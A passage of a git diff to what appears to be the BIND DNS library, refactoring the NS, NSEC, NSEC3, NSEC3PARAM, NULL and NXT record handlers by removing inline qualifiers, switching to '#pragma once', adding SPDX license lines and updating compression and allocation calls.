 
 	REQUIRE(rdata->type == dns_rdatatype_ns);
 	REQUIRE(rdata->length != 0);
@@ -65,12 +67,12 @@ totext_ns(ARGS_TOTEXT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	sub = name_prefix(&name, tctx->origin, &prefix);
-
-	return (dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	return (dns_name_totext(&prefix, opts, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_ns(ARGS_FROMWIRE) {
 	dns_name_t name;
 
@@ -79,13 +81,13 @@ fromwire_ns(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&name, NULL);
-	return (dns_name_fromwire(&name, source, dctx, options, target));
+	return (dns_name_fromwire(&name, source, dctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_ns(ARGS_TOWIRE) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -94,16 +96,16 @@ towire_ns(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_ns);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+	dns_compress_setpermitted(cctx, true);
 
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return (dns_name_towire(&name, cctx, target));
+	return (dns_name_towire(&name, cctx, target, NULL));
 }
 
-static inline int
+static int
 compare_ns(ARGS_COMPARE) {
 	dns_name_t name1;
 	dns_name_t name2;
@@ -128,7 +130,7 @@ compare_ns(ARGS_COMPARE) {
 	return (dns_name_rdatacompare(&name1, &name2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_ns(ARGS_FROMSTRUCT) {
 	dns_rdata_ns_t *ns = source;
 	isc_region_t region;
@@ -145,7 +147,7 @@ fromstruct_ns(ARGS_FROMSTRUCT) {
 	return (isc_buffer_copyregion(target, &region));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_ns(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_ns_t *ns = target;
@@ -163,12 +165,12 @@ tostruct_ns(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 	dns_name_init(&ns->name, NULL);
-	RETERR(name_duporclone(&name, mctx, &ns->name));
+	name_duporclone(&name, mctx, &ns->name);
 	ns->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_ns(ARGS_FREESTRUCT) {
 	dns_rdata_ns_t *ns = source;
 
@@ -182,7 +184,7 @@ freestruct_ns(ARGS_FREESTRUCT) {
 	ns->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_ns(ARGS_ADDLDATA) {
 	dns_name_t name;
 	dns_offsets_t offsets;
@@ -190,14 +192,16 @@ additionaldata_ns(ARGS_ADDLDATA) {
 
 	REQUIRE(rdata->type == dns_rdatatype_ns);
 
+	UNUSED(owner);
+
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &region);
 	dns_name_fromregion(&name, &region);
 
-	return ((add)(arg, &name, dns_rdatatype_a));
+	return ((add)(arg, &name, dns_rdatatype_a, NULL DNS__DB_FILELINE));
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_ns(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -211,7 +215,7 @@ digest_ns(ARGS_DIGEST) {
 	return (dns_name_digest(&name, digest, arg));
 }
 
-static inline bool
+static bool
 checkowner_ns(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_ns);
 
@@ -223,7 +227,7 @@ checkowner_ns(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_ns(ARGS_CHECKNAMES) {
 	isc_region_t region;
 	dns_name_t name;
@@ -244,7 +248,7 @@ checknames_ns(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_ns(ARGS_COMPARE) {
 	return (compare_ns(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/ns_2.h b/lib/dns/rdata/generic/ns_2.h
index bd0984d023..a9abd5d26a 100644
--- a/lib/dns/rdata/generic/ns_2.h
+++ b/lib/dns/rdata/generic/ns_2.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,13 +12,10 @@
  */
 
 /* */
-#ifndef GENERIC_NS_2_H
-#define GENERIC_NS_2_H 1
+#pragma once
 
 typedef struct dns_rdata_ns {
 	dns_rdatacommon_t common;
 	isc_mem_t *mctx;
 	dns_name_t name;
 } dns_rdata_ns_t;
-
-#endif /* GENERIC_NS_2_H */
diff --git a/lib/dns/rdata/generic/nsec3_50.c b/lib/dns/rdata/generic/nsec3_50.c
index e1eab66d5a..463cc4d9cd 100644
--- a/lib/dns/rdata/generic/nsec3_50.c
+++ b/lib/dns/rdata/generic/nsec3_50.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -35,7 +37,7 @@
 
 #define RRTYPE_NSEC3_ATTRIBUTES DNS_RDATATYPEATTR_DNSSEC
 
-static inline isc_result_t
+static isc_result_t
 fromtext_nsec3(ARGS_FROMTEXT) {
 	isc_token_t token;
 	unsigned int flags;
@@ -103,7 +105,7 @@ fromtext_nsec3(ARGS_FROMTEXT) {
 	return (typemap_fromtext(lexer, target, true));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_nsec3(ARGS_TOTEXT) {
 	isc_region_t sr;
 	unsigned int i, j;
@@ -179,7 +181,7 @@ totext_nsec3(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_nsec3(ARGS_FROMWIRE) {
 	isc_region_t sr, rr;
 	unsigned int saltlen, hashlen;
@@ -188,7 +190,6 @@ fromwire_nsec3(ARGS_FROMWIRE) {
 
 	UNUSED(type);
 	UNUSED(rdclass);
-	UNUSED(options);
 	UNUSED(dctx);
 
 	isc_buffer_activeregion(source, &sr);
@@ -224,7 +225,7 @@ fromwire_nsec3(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_nsec3(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -237,7 +238,7 @@ towire_nsec3(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_nsec3(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -253,7 +254,7 @@ compare_nsec3(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_nsec3(ARGS_FROMSTRUCT) {
 	dns_rdata_nsec3_t *nsec3 = source;
 	isc_region_t region;
@@ -282,7 +283,7 @@ fromstruct_nsec3(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, nsec3->typebits, nsec3->len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_nsec3(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_nsec3_t *nsec3 = target;
@@ -304,37 +305,20 @@ tostruct_nsec3(ARGS_TOSTRUCT) {
 	nsec3->salt_length = uint8_consume_fromregion(&region);
 	INSIST(nsec3->salt_length <= region.length);
 	nsec3->salt = mem_maybedup(mctx, region.base, nsec3->salt_length);
-	if (nsec3->salt == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 	isc_region_consume(&region, nsec3->salt_length);
 
 	nsec3->next_length = uint8_consume_fromregion(&region);
 	INSIST(nsec3->next_length <= region.length);
 	nsec3->next = mem_maybedup(mctx, region.base, nsec3->next_length);
-	if (nsec3->next == NULL) {
-		goto cleanup;
-	}
 	isc_region_consume(&region, nsec3->next_length);
 
 	nsec3->len = region.length;
 	nsec3->typebits = mem_maybedup(mctx, region.base, region.length);
-	if (nsec3->typebits == NULL) {
-		goto cleanup;
-	}
-
 	nsec3->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (nsec3->next != NULL) {
-		isc_mem_free(mctx, nsec3->next);
-	}
-	isc_mem_free(mctx, nsec3->salt);
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_nsec3(ARGS_FREESTRUCT) {
 	dns_rdata_nsec3_t *nsec3 = source;
 
@@ -357,18 +341,19 @@ freestruct_nsec3(ARGS_FREESTRUCT) {
 	nsec3->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_nsec3(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_nsec3);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_nsec3(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -378,7 +363,7 @@ digest_nsec3(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_nsec3(ARGS_CHECKOWNER) {
 	unsigned char owner[NSEC3_MAX_HASH_LENGTH];
 	isc_buffer_t buffer;
@@ -403,7 +388,7 @@ checkowner_nsec3(ARGS_CHECKOWNER) {
 	return (false);
 }
 
-static inline bool
+static bool
 checknames_nsec3(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_nsec3);
 
@@ -414,7 +399,7 @@ checknames_nsec3(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_nsec3(ARGS_COMPARE) {
 	return (compare_nsec3(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/nsec3_50.h b/lib/dns/rdata/generic/nsec3_50.h
index 459123cf25..3152c8534e 100644
--- a/lib/dns/rdata/generic/nsec3_50.h
+++ b/lib/dns/rdata/generic/nsec3_50.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_NSEC3_50_H
-#define GENERIC_NSEC3_50_H 1
+#pragma once
 
 /*!
  * \brief Per RFC 5155 */
@@ -106,5 +107,3 @@ typedef struct dns_rdata_nsec3 {
  * nameservers.
  */
 #define DNS_NSEC3FLAG_NONSEC 0x10U
-
-#endif /* GENERIC_NSEC3_50_H */
diff --git a/lib/dns/rdata/generic/nsec3param_51.c b/lib/dns/rdata/generic/nsec3param_51.c
index 1cc56e5ae2..3c8682b6e6 100644
--- a/lib/dns/rdata/generic/nsec3param_51.c
+++ b/lib/dns/rdata/generic/nsec3param_51.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -35,7 +37,7 @@
 
 #define RRTYPE_NSEC3PARAM_ATTRIBUTES (DNS_RDATATYPEATTR_DNSSEC)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_nsec3param(ARGS_FROMTEXT) {
 	isc_token_t token;
 	unsigned int flags = 0;
@@ -88,7 +90,7 @@ fromtext_nsec3param(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_nsec3param(ARGS_TOTEXT) {
 	isc_region_t sr;
 	unsigned int i, j;
@@ -138,7 +140,7 @@ totext_nsec3param(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_nsec3param(ARGS_FROMWIRE) {
 	isc_region_t sr, rr;
 	unsigned int saltlen;
@@ -147,7 +149,6 @@ fromwire_nsec3param(ARGS_FROMWIRE) {
 
 	UNUSED(type);
 	UNUSED(rdclass);
-	UNUSED(options);
 	UNUSED(dctx);
 
 	isc_buffer_activeregion(source, &sr);
@@ -169,7 +170,7 @@ fromwire_nsec3param(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_nsec3param(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -182,7 +183,7 @@ towire_nsec3param(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_nsec3param(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -198,7 +199,7 @@ compare_nsec3param(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_nsec3param(ARGS_FROMSTRUCT) {
 	dns_rdata_nsec3param_t *nsec3param = source;
 
@@ -218,7 +219,7 @@ fromstruct_nsec3param(ARGS_FROMSTRUCT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_nsec3param(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_nsec3param_t *nsec3param = target;
@@ -241,16 +242,13 @@ tostruct_nsec3param(ARGS_TOSTRUCT) {
 	INSIST(nsec3param->salt_length == region.length);
 	nsec3param->salt = mem_maybedup(mctx, region.base,
 					nsec3param->salt_length);
-	if (nsec3param->salt == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 	isc_region_consume(&region, nsec3param->salt_length);
 
 	nsec3param->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_nsec3param(ARGS_FREESTRUCT) {
 	dns_rdata_nsec3param_t *nsec3param = source;
 
@@ -267,18 +265,19 @@ freestruct_nsec3param(ARGS_FREESTRUCT) {
 	nsec3param->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_nsec3param(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_nsec3param);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_nsec3param(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -288,7 +287,7 @@ digest_nsec3param(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_nsec3param(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_nsec3param);
 
@@ -300,7 +299,7 @@ checkowner_nsec3param(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_nsec3param(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_nsec3param);
 
@@ -311,7 +310,7 @@ checknames_nsec3param(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_nsec3param(ARGS_COMPARE) {
 	return (compare_nsec3param(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/nsec3param_51.h b/lib/dns/rdata/generic/nsec3param_51.h
index b92f618094..9288a96ae7 100644
--- a/lib/dns/rdata/generic/nsec3param_51.h
+++ b/lib/dns/rdata/generic/nsec3param_51.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_NSEC3PARAM_51_H
-#define GENERIC_NSEC3PARAM_51_H 1
+#pragma once
 
 /*!
  * \brief Per RFC 5155 */
@@ -26,5 +27,3 @@ typedef struct dns_rdata_nsec3param {
 	unsigned char salt_length;
 	unsigned char *salt;
 } dns_rdata_nsec3param_t;
-
-#endif /* GENERIC_NSEC3PARAM_51_H */
diff --git a/lib/dns/rdata/generic/nsec_47.c b/lib/dns/rdata/generic/nsec_47.c
index 004d163089..a8838126ae 100644
--- a/lib/dns/rdata/generic/nsec_47.c
+++ b/lib/dns/rdata/generic/nsec_47.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -22,7 +24,7 @@
 	(DNS_RDATATYPEATTR_DNSSEC | DNS_RDATATYPEATTR_ZONECUTAUTH | \
 	 DNS_RDATATYPEATTR_ATCNAME)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_nsec(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -49,7 +51,7 @@ fromtext_nsec(ARGS_FROMTEXT) {
 	return (typemap_fromtext(lexer, target, false));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_nsec(ARGS_TOTEXT) {
 	isc_region_t sr;
 	dns_name_t name;
@@ -63,7 +65,7 @@ totext_nsec(ARGS_TOTEXT) {
 	dns_rdata_toregion(rdata, &sr);
 	dns_name_fromregion(&name, &sr);
 	isc_region_consume(&sr, name_length(&name));
-	RETERR(dns_name_totext(&name, false, target));
+	RETERR(dns_name_totext(&name, 0, target));
 	/*
 	 * Don't leave a trailing space when there's no typemap present.
 	 */
@@ -73,7 +75,7 @@ totext_nsec(ARGS_TOTEXT) {
 	return (typemap_totext(&sr, NULL, target));
 }
 
-static /* inline */ isc_result_t
+static isc_result_t
 fromwire_nsec(ARGS_FROMWIRE) {
 	isc_region_t sr;
 	dns_name_t name;
@@ -83,10 +85,10 @@ fromwire_nsec(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	dns_name_init(&name, NULL);
-	RETERR(dns_name_fromwire(&name, source, dctx, options, target));
+	RETERR(dns_name_fromwire(&name, source, dctx, target));
 
 	isc_buffer_activeregion(source, &sr);
 	RETERR(typemap_test(&sr, false));
@@ -95,7 +97,7 @@ fromwire_nsec(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_nsec(ARGS_TOWIRE) {
 	isc_region_t sr;
 	dns_name_t name;
@@ -104,17 +106,17 @@ towire_nsec(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_nsec);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	dns_name_init(&name, offsets);
 	dns_rdata_toregion(rdata, &sr);
 	dns_name_fromregion(&name, &sr);
 	isc_region_consume(&sr, name_length(&name));
-	RETERR(dns_name_towire(&name, cctx, target));
+	RETERR(dns_name_towire(&name, cctx, target, NULL));
 
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_nsec(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -130,7 +132,7 @@ compare_nsec(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_nsec(ARGS_FROMSTRUCT) {
 	dns_rdata_nsec_t *nsec = source;
 	isc_region_t region;
@@ -153,7 +155,7 @@ fromstruct_nsec(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, nsec->typebits, nsec->len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_nsec(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_nsec_t *nsec = target;
@@ -172,25 +174,15 @@ tostruct_nsec(ARGS_TOSTRUCT) {
 	dns_name_fromregion(&name, &region);
 	isc_region_consume(&region, name_length(&name));
 	dns_name_init(&nsec->next, NULL);
-	RETERR(name_duporclone(&name, mctx, &nsec->next));
+	name_duporclone(&name, mctx, &nsec->next);
 
 	nsec->len = region.length;
 	nsec->typebits = mem_maybedup(mctx, region.base, region.length);
-	if (nsec->typebits == NULL) {
-		goto cleanup;
-	}
-
 	nsec->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL) {
-		dns_name_free(&nsec->next, mctx);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_nsec(ARGS_FREESTRUCT) {
 	dns_rdata_nsec_t *nsec = source;
 
@@ -208,18 +200,19 @@ freestruct_nsec(ARGS_FREESTRUCT) {
 	nsec->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_nsec(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_nsec);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_nsec(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -229,7 +222,7 @@ digest_nsec(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_nsec(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_nsec);
 
@@ -241,7 +234,7 @@ checkowner_nsec(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_nsec(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_nsec);
 
@@ -252,7 +245,7 @@ checknames_nsec(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_nsec(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
diff --git a/lib/dns/rdata/generic/nsec_47.h b/lib/dns/rdata/generic/nsec_47.h
index a142a811c1..eded7ac0ea 100644
--- a/lib/dns/rdata/generic/nsec_47.h
+++ b/lib/dns/rdata/generic/nsec_47.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_NSEC_47_H
-#define GENERIC_NSEC_47_H 1
+#pragma once
 
 /*!
  * \brief Per RFC 3845 */
@@ -22,5 +23,3 @@ typedef struct dns_rdata_nsec {
 	unsigned char *typebits;
 	uint16_t len;
 } dns_rdata_nsec_t;
-
-#endif /* GENERIC_NSEC_47_H */
diff --git a/lib/dns/rdata/generic/null_10.c b/lib/dns/rdata/generic/null_10.c
index f495d56a72..522c4aabb9 100644
--- a/lib/dns/rdata/generic/null_10.c
+++ b/lib/dns/rdata/generic/null_10.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_NULL_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_null(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_null);
 
@@ -29,14 +31,14 @@ fromtext_null(ARGS_FROMTEXT) {
 	return (DNS_R_SYNTAX);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_null(ARGS_TOTEXT) {
 	REQUIRE(rdata->type == dns_rdatatype_null);
 
 	return (unknown_totext(rdata, tctx, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_null(ARGS_FROMWIRE) {
 	isc_region_t sr;
 
@@ -45,14 +47,13 @@ fromwire_null(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 	isc_buffer_forward(source, sr.length);
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_null(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_null);
 
@@ -61,7 +62,7 @@ towire_null(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_null(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -75,7 +76,7 @@ compare_null(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_null(ARGS_FROMSTRUCT) {
 	dns_rdata_null_t *null = source;
 
@@ -91,7 +92,7 @@ fromstruct_null(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, null->data, null->length));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_null(ARGS_TOSTRUCT) {
 	dns_rdata_null_t *null = target;
 	isc_region_t r;
@@ -106,15 +107,11 @@ tostruct_null(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &r);
 	null->length = r.length;
 	null->data = mem_maybedup(mctx, r.base, r.length);
-	if (null->data == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	null->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_null(ARGS_FREESTRUCT) {
 	dns_rdata_null_t *null = source;
 
@@ -131,18 +128,19 @@ freestruct_null(ARGS_FREESTRUCT) {
 	null->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_null(ARGS_ADDLDATA) {
+	REQUIRE(rdata->type == dns_rdatatype_null);
+
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
-	REQUIRE(rdata->type == dns_rdatatype_null);
-
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_null(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -153,7 +151,7 @@ digest_null(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_null(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_null);
 
@@ -165,7 +163,7 @@ checkowner_null(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_null(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_null);
 
@@ -176,7 +174,7 @@ checknames_null(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_null(ARGS_COMPARE) {
 	return (compare_null(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/null_10.h b/lib/dns/rdata/generic/null_10.h
index c0253c74a0..d015b7d823 100644
--- a/lib/dns/rdata/generic/null_10.h
+++ b/lib/dns/rdata/generic/null_10.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,8 +12,7 @@
  */
 
 /* */
-#ifndef GENERIC_NULL_10_H
-#define GENERIC_NULL_10_H 1
+#pragma once
 
 typedef struct dns_rdata_null {
 	dns_rdatacommon_t common;
@@ -19,5 +20,3 @@ typedef struct dns_rdata_null {
 	uint16_t length;
 	unsigned char *data;
 } dns_rdata_null_t;
-
-#endif /* GENERIC_NULL_10_H */
diff --git a/lib/dns/rdata/generic/nxt_30.c b/lib/dns/rdata/generic/nxt_30.c
index 4065204fe1..6b09aa68c5 100644
--- a/lib/dns/rdata/generic/nxt_30.c
+++ b/lib/dns/rdata/generic/nxt_30.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -20,7 +22,7 @@
  */
 #define RRTYPE_NXT_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_nxt(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
